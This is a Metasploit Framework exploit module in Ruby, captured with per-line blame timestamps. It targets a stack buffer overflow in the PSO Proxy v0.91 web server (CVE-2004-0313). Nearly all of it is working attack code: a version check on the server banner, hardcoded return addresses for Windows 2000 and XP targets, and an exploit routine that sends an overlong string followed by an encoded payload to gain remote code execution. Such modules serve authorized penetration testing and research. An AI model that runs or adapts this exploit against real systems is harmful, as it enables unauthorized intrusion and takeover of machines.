2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow',
|
2009-12-15 18:47:29 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
|
|
|
|
If a client sends an excessively long string the stack is overwritten.
|
|
|
|
},
|
2011-04-11 02:25:36 +00:00
|
|
|
'Author' => [ 'patrick' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-0313' ],
|
|
|
|
[ 'OSVDB', '4028' ],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '156' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
[ 'BID', '9706' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 370,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
|
|
|
|
[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
|
|
|
|
[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
|
|
|
|
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2010-02-15 00:48:03 +00:00
|
|
|
'DisclosureDate' => 'Feb 20 2004'
|
|
|
|
))
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
banner = sock.get(-1,3)
|
|
|
|
if (banner =~ /PSO Proxy 0\.9/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2009-12-15 18:47:29 +00:00
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
exploit = rand_text_alphanumeric(1024, payload_badchars)
|
|
|
|
exploit += [target['Ret']].pack('V') + payload.encoded
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
sock.put(exploit + "\r\n\r\n")
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
disconnect
|
|
|
|
handler
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
end
|